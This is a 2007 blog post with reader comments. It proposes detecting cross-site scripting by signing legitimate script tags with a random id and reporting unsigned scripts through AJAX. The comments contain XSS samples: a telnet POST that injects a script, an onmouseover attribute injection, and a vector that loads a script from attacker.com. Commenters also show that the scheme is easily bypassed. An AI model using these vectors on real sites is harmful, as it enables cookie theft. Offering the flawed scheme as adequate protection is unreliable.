Welcome to BARMAGY Sign in | Join | Help

Anti XSS AJAX

XSS have became a problem that most web developers still suffering from it tell now, simply because however you try hard to validate every user input it only takes a single line of code that prints out the user input without validation to render your whole application vulnerable to XSS attacks and once you are vulnerable several attacks methods can be applied on the users of your web application some of these attacks like the one I’ve demonstrated before can be really dangerous and undetectable. As we all know that perfect code is an illusion and also we all know that several bugs pass the testing phase without being detected especially if the testers were testing without security in mind so it’s very normal to have a web application that is vulnerable to XSS attacks even after testing several times. So what about a risk mitigation plan to avoid XSS attacks in case some XSS vulnerabilities showed up after the product have been deployed in live environment? Imagine if we can have a nice safe valve that can stop a catastrophe from happening, but how? This is a good question and to answer this question we have to think about the following:

1-    The XSS attacks basically happen in the client side.

2-    The XSS attacks usually happen using java script.

After considering the previous two points we can conclude that to stop a XSS attack that passed through our server side defenses and validations we need to stop it in the client side and because XSS attacks basically depends on java script which means the existence of <script> tags in the attacker code. So now we can get a conclusion that to stop XSS at the client side we can use java script to filter the return HTML from the server to identify attacker java script and warn the user about it or even warn the site admin about it so s/he can become aware of the attack so s/he can do something about it. But the real question now is how to identify the attacker java script from our legitimate java script? Well, we can do this by supplying something like a signature with our legitimate java script so we can identify it from the malicious attacker java script that have been injected in our web application pages and we can use another java script that will filter the page content to identify the unsigned java script as the attacker script and take some action about it in the client side whenever it’s founded, here is an example

<body>

<html>

<?

//our signature will be a random number generated by the server

$signature = rand();

?>

<!-- here is our legitimate script with the signature as its element id -->

<script id="<? echo $signature ?>">

alert("hello world")

</script>

<!-- here is the injected attacker script that doesn't have the signature -->

<script>

alert("evil code")

</script>

<!-- here is a more evil script where the attacker will try to imitate the signature -->

<script id="1234">

alert("more evil code")

</script>

<!-- here is the script that will do the check and of course it have the signature too -->

<script id="<? echo $signature ?>">

//here we gather all the script tags elements in one array

var scripts = document.getElementsByTagName("script")

for(var i = 0; i < scripts.length; i++)

  if(scripts[i].id != null)

  {

    //then we compare it with our signature if it have one, if it’s invalid we warn the user/admin

    if(scripts[i].id != <? echo $signature ?>)

      warn(scripts[i].innerHTML) 

  }

  else //else if there is no signature in the 1st place we warn the user/admin

    warn(scripts[i].innerHTML)

 

function warn(attackscript)

{

  //here we create our XMLHttpRequest object

  xmlHttp=GetXmlHttpObject()

  //and here we create a request string to our logger script then send the attacker script

  //to be logged for later analysis so we can tell what exactly happened

  var url="http://host/logger.php?attackscript=" + attackscript

  xmlHttp.open("GET",url,true)

  xmlHttp.send(null)

  //then we warn the user about what is going on and advice him/her to change his/her password

  alert("put your favorite warning message here")

}

//the rest of this code is the code that is responsible of creating

//the XMLHttpRequest object for different browsers

function GetXmlHttpObject()

{

  var xmlHttp=null;

  try

    {

    // Firefox, Opera 8.0+, Safari

    xmlHttp=new XMLHttpRequest();

    }

  catch (e)

    {

    // Internet Explorer

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

    }

  return xmlHttp;

}

</script>

</body>

</html>

In this example we used the rand() function to generate a random number that is used to sign every java script in the page to identify it from the other malicious scripts where malicious scripts when found the user can be alarmed and advised for example to change his/her password while the malicious script content is sent to the logger script that may look like this

<?

$file = fopen("log.txt","a");

$timestamp = date("D dS M,Y h:i a");

fwrite($file, "$timestamp\n");

fwrite($file, "$attackscript\n--------------------\n");

fclose($file);

?>

Which can log the malicious script contents so the site admin can analyze the attack later. The log file will look something like this

--------------------
Fri 20th Jul,2007 12:38 am
alert(\"evil code\")
--------------------
Fri 20th Jul,2007 12:41 am
alert(\"more evil code\")
--------------------

 

Also we can log other more important information such as the referral URL where the user got this link from so we can know how the attack is done weather it’s by mass mail or other means also we can log the user name so we can contact him/her to help him/her or to get more information from him/her about the attack.

As we can see using ajax programming techniques can help us for early warning and it will make it harder for the attacker to test your application for XSS vulnerabilities without you being aware of it. But this technique have a very big draw back that it only warns the user after the damage is already done and that is because the very nature of java script of being a sequential scripting language that is loaded by the browser from the web server sequentially thus our warning script must be at the end of the web page so it loads the last thing after the whole page is loaded so it can parse the scripts that have loaded before it otherwise it won’t be able to parse the scripts that didn’t load yet, yes we can make it wait or run every little interval of milliseconds while the page is loading, but for sorry we won’t be able to run it exactly when the malicious script is loaded and before it’s execution. Being in the end of web page means it will run the last after the attacker code have already done the damage or maybe also redirecting the user to another page before our warning script is executed. There would be a very good solution for this if java script supports sleep() function so it can be the in the page beginning and start a sleep tell the whole page is loaded then parse the page thus not allowing any other java script to until is validated but for sorry sleep() function is not supported is java script, there is a solution to this but not very practical where the script will enter a loop tell the page load then start parsing the page but this solution will take 100% of CPU usage and users will hate your web page because it will lag there machines. Another solution is to fully ajax the web page and request the page HTML content using XMLHttpRequest object and update the page with it every time a user clicks a new link then validate the java script in it, but that would require too much ajax work.

I hope you liked this article and I’m waiting for your feedback and comments

Thanks for reading

 

kick it on DotNetKicks.com
Published Friday, July 20, 2007 2:57 AM by Fady

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Comments

# re: Anti XSS AJAX

nice one,

however, we can inject JS with Flash, QuickTime, PDF, Java and other types of client-side technologies. So maybe, you should sign objects as well.
Friday, July 20, 2007 9:16 AM by pdp

# re: Anti XSS AJAX

thanks man,
yes i think we should sign objects too and i think this technique can be applied to object tags as well as script tags
Friday, July 20, 2007 6:51 PM by Fady

# re: Anti XSS AJAX

I disagree with the statement "The XSS attacks usually happen using java script".
XSS happen because there is a lack of data control on the server side. The mean to exploit an XSS attack can be via javascript, straight HTML or even a specially crafted HTTP request through a simple telnet session.
Trying to protect against XSS attacks by using AJAX will only prevent the script kiddies from being able to exploit the XSS issue. Someone a little bit smarter will sniff the traffic and send the right HTTP request and bypass the AJAX "protection".

The only protection against XSS attacks has to be implemented on the server side.
Saturday, July 28, 2007 12:20 AM by Zorro

# re: Anti XSS AJAX

let me emphasize on the phrase meaning
The XSS attacks "usually" happen "using" java script
i didn't say it ultimately happen only by using java script
so yes you can make an XSS attack only using html but in this case it won't be dangerous as the case of using java script
plus XSS attacks can't happen though a telnet session because simply the user must be using the "browser"
it's very obvious that you don't understand the nature of XSS attacks so i advice you to read about it 1st
Saturday, July 28, 2007 12:34 AM by Fady

# re: Anti XSS AJAX

Quote: "XSS attacks can't happen though a telnet session"

I don't think you understand the concept of a XSS attack. Let me take a simple example to explain the "telnet session" thing.
If you have a form that allows a user to POST some data to a forum, if some JavaScript is in place to "prevent" you from posting some HTML/JS tags, then you can either send those via the following old and simple method:
---8<------->8---
$> telnet victim 80
POST /my_forum.php HTTP/1.0
Content-Length: xxxx

<script>alert('duh');</script>
---8<------->8---

If the forum script is not doing any check on the content of the POST data, you'll end up with a page containing new JS code that will execute everytime a user will load this page with their browser.
By that method, you can get the user's cookies and impersonate them. If that's a shopping website, you'll potentially be able to do more.

To conclude, the attack can happen through a telnet session, but the result of the attack (getting the user's personal information, etc.) requires the victim to use a browser and go to the attacked webpage.

I hope I clarified it by taking an example that isn't too complicated.
Saturday, July 28, 2007 1:19 AM by Zorro

# re: Anti XSS AJAX

Are you kidding me? Who in 2007 is still thinking that security can be managed on the Client side?
The only secure way to prevent XSS is to write secure code *on the Server side*.
Saturday, July 28, 2007 2:16 AM by Yukio

# re: Anti XSS AJAX

Realy it's a new info for me and it's so fantastic topic thx fady and go on ;)
Saturday, July 28, 2007 2:25 AM by Sameh

# re: Anti XSS AJAX

@Yukio
"risk mitigation plan to avoid XSS attacks in case some XSS vulnerabilities showed up"
this technique is purly is more like a safety valve that works "if" the server side validation have failed which does frequently happen
of course we won't give up the convential server validation

@Zorro
seems like both of us meant something different with a telnet session, now i understand that you meant bypassing the client side validation by posting directly using telnet or any other tool that allows you to send server requests
again i repeat ofcourse we can't give up server validation because this would be the most stupid thing to do but what i meant that "if" the server validation failed with XSS there would be another line of defence to stop it at the client side
for example in the scenario that you have demonestrated the injected java script won't be signed by server thus when it's runned in the client side the validation java script will catch it and warn the user/admin about it because it doen't have the valid signature
so the scenario you have demonestrated won't work
Saturday, July 28, 2007 2:40 AM by Fady

# re: Anti XSS AJAX

I guess I have only one question then: why spending time and energy to implement a client side protection versus focusing on the server side protection? If you know that the server code can be used to run a XSS attack, go fix it.
Saturday, July 28, 2007 3:16 AM by Zorro

# re: Anti XSS AJAX

"simply because however you try hard to validate every user input it only takes a single line of code that prints out the user input without validation to render your whole application vulnerable to XSS attacks"

"As we all know that perfect code is an illusion and also we all know that several bugs pass the testing phase without being detected especially if the testers were testing without security in mind so it’s very normal to have a web application that is vulnerable to XSS attacks even after testing several times"

the answer of your question could be found within the answer of another question: how many application that have been tested several times and passed the testing phase with zero defects to be found out that it's vulnerable to XSS? although its developers have taken pain to insure its security
this technique is affordable and not time consuming but it does insure an extra mile of immunity against XSS attacks
Saturday, July 28, 2007 4:01 AM by Fady

# re: Anti XSS AJAX

while it sounds interesting for early detection, as mentioned earlier client side controls shouldn't be relied on.
Saturday, July 28, 2007 5:52 AM by evilpacket

# re: Anti XSS AJAX

@fady: Nice idea, I like it.

@Zorro: You do it for the same reason that the current best practices are to escape/filter data both when you accept it from a user, and when you output it to the client (after ensuring that the combination of multiple filters or escaping doesn't introduce new vulns).  You don't expect your first layer to miss anything, but if it does, it's good to have multiple layers.  Defense in depth.  Combining this with other Anti-XSS methods is a great idea.

That said, there are other situations even with just Javascript XSS where this protection doesn't help.  For example, attribute injection:

http://jeremiahgrossman.blogspot.com/2007/07/attribute-based-cross-site-scripting.html
Saturday, July 28, 2007 5:59 AM by Jordan

# re: Anti XSS AJAX

@Jordan
thanks man, yes of course as i said before there is no perfect code and there is no silver bullet and i'm not saying this technique that i'm suggesting will stop all kinds of XSS attacks but i'm suggesting a new aproach for the use of AJAX programming technique to provide early warning in case of all server side protection have failed
this technique of course could be developed to stop other kinds of attacks and will retain its orginal concept
@evilpacket
of ocurse man we can't rely on this technique only
Saturday, July 28, 2007 4:24 PM by Fady

# re: Anti XSS AJAX

I am sorry but your conclusion is flawed, thus your method is flawed.  My research has led to many instances where this would not even remotely stop the XSS.
Saturday, July 28, 2007 9:28 PM by Adam

# re: Anti XSS AJAX

Nice work but usign JavaScript for mitigate XSS is not a good idea.

Also Jordan says an attacker can inject a attribute with a piece of JS like <a href="blabla" onmouseover=alert(1)>aaa</a>

Plus, the getElementsByTagName function is not so powefull becase i can escape from this without closing script tag. For example i can inject a vetor as: "<script src=http://attacker.com/xss.js>"

Bye

Saturday, July 28, 2007 9:32 PM by Matteo

# re: Anti XSS AJAX

@Adam
could you please tell me why my conclusion is falwed and point me to your research
Saturday, July 28, 2007 10:18 PM by Fady

# re: Anti XSS AJAX

Hmm .. I don`t get it.
This is a good thing to get informed about who is playing with you, but if I just disable javascript in my browser then this all thing is useless.
Btw your code is smart and good. But this is not the bes way for prevention. I think it`s better for informing webmaster about the attacker.

Yours,
Aron

aron [.at.] aron.ws
Sunday, July 29, 2007 4:24 PM by Aron

# re: Anti XSS AJAX

@Aront
thanks for your feedback
" but if I just disable javascript in my browser then this all thing is useless"
if you disable java script in your browser XSS won't work too

"I think it`s better for informing webmaster about the attacker"
exactly, and that is what all this article is about, early warning using ajax to warn the admin in case of XSS attack so it will make it harder to the attacker to use any found XSS issues within the web application
and yes it can't prevent the attack but it will make it harder
this is no silver bullet, i was just domenstrating the possibility of ajax use to counter attack XSS and the code i've used in this demo do not stop every known  XSS attack technique but this code could be used as a good base for something like a framework that can recognize other XSS attack patterns and warn the admin about it in case of these attacks success
thanks
Sunday, July 29, 2007 4:46 PM by Fady

# re: Anti XSS AJAX

Server side validation _must_ be a _must_ .
But... did you remember Firefox 2.0.0.3 issue?
that makes a problem in client side.

Monday, July 30, 2007 5:09 PM by patux

# re: Anti XSS AJAX

Hi Fady,

well I like the idea of identifying an xss attack on the client side, since every browser parses content in a different way, and thus opens other hacks.
But i see a major flaw in your design. you would have to assure that no javascript is evaluated before your check is done, since otherwise the page may get manipulated by the attacker before your sanity check. An attacker might for example simply read the id from a valid script and append it to itself.
Maybe you are able to create something to prevent this flaw, which would probably make it quite interesting in my opinion.

greetz
n00k
Monday, July 30, 2007 8:05 PM by n00k

# re: Anti XSS AJAX

This technique warns about evil code, but allows the execution, the core of a prevention technique will be disallow the evil code execution. A code that can pass this warning code will search for script tags and will catch the signature for valid tag next will insert it in the evil tags a thus becoming valid. Window.onload may be a option
Monday, July 30, 2007 10:05 PM by Oscar Cala

# re: Anti XSS AJAX

i didn't mean to stop the evil code from execution, just to do the checks before anything else may get executed. this is a difficult task, since js gets evaluated as soon as its parsed. onload is executed after the whole document got parsed, that means all scripts already got executed (at least everything that doesn't use triggers or timeouts). another idea could be writing it into the head tag so it gets evaluated first, but then there is the problem, that the rest of the page isn't available yet, and thus cannot be checked.
maybe this you need to rewrite the parser of the browser to achieve ^^
but i'd like to hear if there is a different solution to this :)
Monday, July 30, 2007 10:33 PM by n00k

# re: Anti XSS AJAX

@n00k
"i didn't mean to stop the evil code from execution, just to do the checks before anything else may get executed. this is a difficult task, since js gets evaluated as soon as its parsed. onload is executed after the whole document got parsed, that means all scripts already got executed (at least everything that doesn't use triggers or timeouts). another idea could be writing it into the head tag so it gets evaluated first, but then there is the problem, that the rest of the page isn't available yet, and thus cannot be checked. "
exactly
"but i'd like to hear if there is a different solution to this :) "
i'm currently working on it in my free time
but i've a good idea to start from but it won't be easy to use in legacy web applications
the idea is simply is ajax the whole page and always check the return before it's displayed to the user in the client side
it's hard but it's apllicable
Wednesday, August 01, 2007 7:23 PM by Fady

# Anti XSS AJAX

You've been kicked (a good thing) - Trackback from DotNetKicks.com
Wednesday, August 15, 2007 7:35 PM by DotNetKicks.com

# re: Anti XSS AJAX

IV3dhj  <a href="http://jaossyskakhw.com/">jaossyskakhw</a>, [url=http://zbfuovdpitby.com/]zbfuovdpitby[/url], [link=http://phfxvhkdqmbu.com/]phfxvhkdqmbu[/link], http://bpfgaizavgms.com/
Friday, March 21, 2008 4:44 PM by yysivbdyaq

# re: Anti XSS AJAX

Good Article Fady, Signing the srcipt, Clever Idea.
Keep the good work
Friday, May 30, 2008 9:11 PM by wdeveloper

# re: Anti XSS AJAX

@wdeveloper
thanks man, i'm glad i liked it
Friday, May 30, 2008 10:48 PM by Fady

What do you think?

(required) 
required 
(required)